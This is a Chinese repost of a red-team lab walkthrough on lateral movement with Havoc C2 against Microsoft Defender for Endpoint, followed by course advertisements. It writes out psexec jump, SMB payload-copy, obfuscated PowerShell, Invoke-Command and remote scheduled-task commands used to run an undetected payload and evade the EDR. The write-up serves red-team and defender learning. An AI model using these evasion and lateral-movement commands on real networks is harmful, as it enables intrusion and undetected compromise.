利用 Havoc C2 和 Microsoft EDR 进行横向移动

admin 2024年10月23日15:47:12评论17 views字数 3651阅读12分10秒阅读模式

利用 Havoc C2 和 Microsoft EDR 进行横向移动

横向移动对于红队的任何交战都极为重要。获得初始外壳固然很好,但如果无法离开箱子,那么你可能会陷入困境。

加上微软的 EDR,事情就变得复杂了一点。虽然还有其他解决方案(CrowdStrike、Elastic 等),但我将重点介绍 Defender For Endpoint,因为它是许多企业使用的流行 EDR。

值得注意的是,我正在使用开箱即用的配置,并且没有对我的 Defender for Endpoint 威胁搜寻功能制定任何附加规则。

现在,我们已经证明我们可以绕过 UAC 并提升为管理员,而无需任何警报。如果您还没有阅读我的使用HighBorn 在 Windows Defender for Endpoint 上绕过 UAC 的文章,请仔细阅读。

所以问题是,如果我们可以在一个盒子上获得管理会话,我们可以在不警告 Defender for Endpoint 的情况下横向移动吗?

Active Directory 环境

这是我们极小的 AD 环境。

利用 Havoc C2 和 Microsoft EDR 进行横向移动

我们有 David,他是 redteam.local 上的域管理员,在这种情况下,我们让 David 在 Jim 的工作站上执行我们的有效载荷。我们已将我们的权限升级到高完整性信标,并已准备好大干一场。

我们被告知 IIS 服务器上有一些绝密内容。所以我们需要进入该服务器进行枚举。

Havoc C2 开箱即用横向移动技术

Havoc 的开箱即用横向移动技术与 Cobalt Strike 非常相似。我们可以使用 psexec 将服务二进制文件移动到我们的枢纽,然后调用该服务以取回信标。

直接进入我们的场景,我已经在 Jim 的工作站上安装了管理信标。

利用 Havoc C2 和 Microsoft EDR 进行横向移动

现在我们可以使用 psexec 模块了,但首先我们需要做一些小技巧。为了执行此攻击,我们需要一个服务二进制文件。由于开箱即用的 Havoc 有效载荷已经过签名,因此我们需要对其进行混淆。

首先,让我们通过 Havoc 生成一个 Windows 服务 EXE 文件并将其保存到我们的桌面。

利用 Havoc C2 和 Microsoft EDR 进行横向移动

利用 Havoc C2 和 Microsoft EDR 进行横向移动

一旦服务二进制文件被保存,我们就可以使用 Donut 将其转换为 shellcode。

利用 Havoc C2 和 Microsoft EDR 进行横向移动

现在我们在 shellcode 中有了我们的服务二进制文件,我们可以通过我的个人 shellcode 工具 Harriet 运行它。

利用 Havoc C2 和 Microsoft EDR 进行横向移动

现在我们有了 FUD 服务二进制文件 JumP3r.exe,我们可以在 Havoc 上启动跳跃。

我们的命令将会像这样。

jump-exec psexec IIS-REDTEAM.redteam.local SERVic3 /home/user/Desktop/JumP3r.exe

我们输入 FQDN,命名我们新创建的服务,然后输入我们服务可执行文件的路径。

几秒钟后,我们得到了高完整性的信标。

利用 Havoc C2 和 Microsoft EDR 进行横向移动

从 Havoc 的输出中可以看到,我们删除了一个服务二进制文件,并且该二进制文件以 SYSTEM 级权限执行。这很棒,但让我们检查一下 EDR,看看我们是否避开了它们。

利用 Havoc C2 和 Microsoft EDR 进行横向移动

太恶心了!看来我们的 psexec 方法已经被攻破了。

那么……我们该怎么办呢?在尝试了多种技术后,绕过 Defender For Endpoint 的答案非常奇怪。

PowerShell。

嗯?PowerShell?是的,我知道。

但这有一些注意事项。最大的一个是,通过 SMB 传输任何东西都会发出警报。作为 POC,我们可以使用此 powershell 行尝试通过 SMB 将我们的有效载荷从 Jim 的工作站复制到 IIS-REDTEAM。

powershell 复制项目-PATH C:UsersdavidDownloadsMalT3st1.exe -目标\IIS-REDTEAM.redteam.localC$UsersdavidDownloadsMalT3st1.exe

由于我们已经知道 David 是 DA,因此我们可以通过 SMB 将 FUD 有效负载复制到 IIS 服务器。然后我们可以通过 PowerShell ScriptBlock 调用它。

powershell 调用命令-ComputerName IIS-REDTEAM -ScriptBlock {“C:UsersdavidDownloadsMalT3st1.exe”}

我们重新获得了高度完整的会话!

利用 Havoc C2 和 Microsoft EDR 进行横向移动

但是有 EDR,所以……

利用 Havoc C2 和 Microsoft EDR 进行横向移动

真糟糕。如果我们深入研究警报,就会发现这里有几个问题。Copy-Item 可能是移动二进制文件的一种愚蠢方式。

利用 Havoc C2 和 Microsoft EDR 进行横向移动

让我们看看能否通过混淆技术打败它。

powershell “$A='copy-item';$B='-PATH';$C='C:UsersdavidDownloadsMalT3st1.exe';$D='-Destination';$E='\IIS-REDTEAM.redteam.localC$UsersdavidDownloadsMalT3st1.exe';“powershell $A $B $C $D $E””

混淆的命令似乎已经成功下载了我们的有效载荷。

利用 Havoc C2 和 Microsoft EDR 进行横向移动

现在我们尝试调用它。

powershell 调用命令-ComputerName IIS-REDTEAM.redteam.local-ScriptBlock {“powershell C:UsersdavidDownloadsMalT3st1.exe”}

利用 Havoc C2 和 Microsoft EDR 进行横向移动

我们得到了一个高完整性的 shell。但是 EDR 怎么样?

利用 Havoc C2 和 Microsoft EDR 进行横向移动

嗯。这很可疑。我们真的只是绕过了 EDR 并调用我们的恶意软件进行横向移动吗?

我们来试试另一种方法吧。预约服务怎么样?

2022 年通过 PowerShell 安排服务?您一定是在开玩笑。EDR 会把它当早餐吃掉,对吧?让我们试一试!

我们的服务器上已经有恶意软件了。因此,让我们尝试使用计划服务来运行它。

这是我们的命令:

powershellinvoke-command-ComputerName IIS-SERVER.redteam.local-ScriptBlock{powershell'$A = New-ScheduledTaskAction-Execute“C:UsersdavidDownloadsMalT3st1.exe”;$T = New-ScheduledTaskTrigger-once-At 13:39pm;$S = New-ScheduledTaskSettingsSet;$D = New-ScheduledTask-Action $A -Trigger $T -Settings $S;Register-ScheduledTask Cron-InputObject $D'}

我们启动命令,看看它是否设置了预定的服务。

利用 Havoc C2 和 Microsoft EDR 进行横向移动

到了预定的时间,我们便拿回了信标!

利用 Havoc C2 和 Microsoft EDR 进行横向移动

让我们用 EDR 检查一下。这肯定已经被发现了。

利用 Havoc C2 和 Microsoft EDR 进行横向移动

不可能。这怎么可能?我的猜测是,现成的 EDR 规则设置为查找“C:Windows”文件夹中放置的二进制文件,并且不会从 Powershell 中的“New-ScheduledTaskAction”命令发出警报,但会使用 Windows API CreateServiceA 发出警报。

我还想知道 ScriptBlock 日志记录是否是开箱即用的。如果您从信标中发出 Powershell 命令,最终 DFE 会捕捉到并发出警报,但如果您将它们间隔几分钟,您可能会不被发现。

混淆 Powershell 命令对此也有很大帮助。您不需要使用 Unicorn 或 Invoke-Obfuscation 或其他任何东西。您只需通过将命令设置为变量即可完成此操作。

同样有趣的是,当我在 Powershell 中弄乱命令时(我在测试中经常这样做),我不会收到很多警报。因此,事件记录似乎实际上只在命令完成时发生,而不是在命令实际启动时发生。

现在,这里有很多变量。也许使用 Harriet 作为 shellcode 加载器有帮助。也许使用 Havoc 对此有帮助。也许我的糟糕 AD 环境和云端的 DFE 在某些事件上存在数据传输断开连接。

这是确定的吗?不,这些都不是确定的。我不确定我是否会在实际的红队交战中相信这一点,但你可能想在紫队活动中或作为防守方尝试一下(当然要征得同意)。

获取战利品

我们看看能否找到这份绝密文件。

利用 Havoc C2 和 Microsoft EDR 进行横向移动

看起来它就在 David 的桌面上。让我们下载战利品吧!

利用 Havoc C2 和 Microsoft EDR 进行横向移动

我们打开它吧!

利用 Havoc C2 和 Microsoft EDR 进行横向移动

哈丽特!你是怎么进入那个服务器的!?

总结

因此,我们这里有几种不同的服务器跳转方法。如果您知道您在参与时不会违反任何 EDR,请使用混淆的有效负载并随意使用内置模块进行跳转。

但是如果你要对抗 EDR,请使用…PowerShell…这听起来甚至不对。希望你学到了一些东西!

其它课程

QT开发底层原理与安全逆向视频教程

利用 Havoc C2 和 Microsoft EDR 进行横向移动

linux恶意软件开发对抗与基于ebpf网络安全视频教程(2024最新)

利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

linux文件系统存储与文件过滤安全开发视频教程(2024最新)

利用 Havoc C2 和 Microsoft EDR 进行横向移动

linux高级usb安全开发与源码分析视频教程

利用 Havoc C2 和 Microsoft EDR 进行横向移动

linux程序设计与安全开发

利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • windows恶意软件开发与对抗视频教程

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • windows

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • windows()

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • USB()

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • ()

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • ios

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • windbg

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • 还有很多免费教程(限学员

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动利用 Havoc C2 和 Microsoft EDR 进行横向移动利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • 利用 Havoc C2 和 Microsoft EDR 进行横向移动

原文始发于微信公众号(安全狗的自我修养):利用 Havoc C2 和 Microsoft EDR 进行横向移动

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月23日15:47:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 Havoc C2 和 Microsoft EDR 进行横向移动https://cn-sec.com/archives/3303983.html

发表评论

匿名网友 填写信息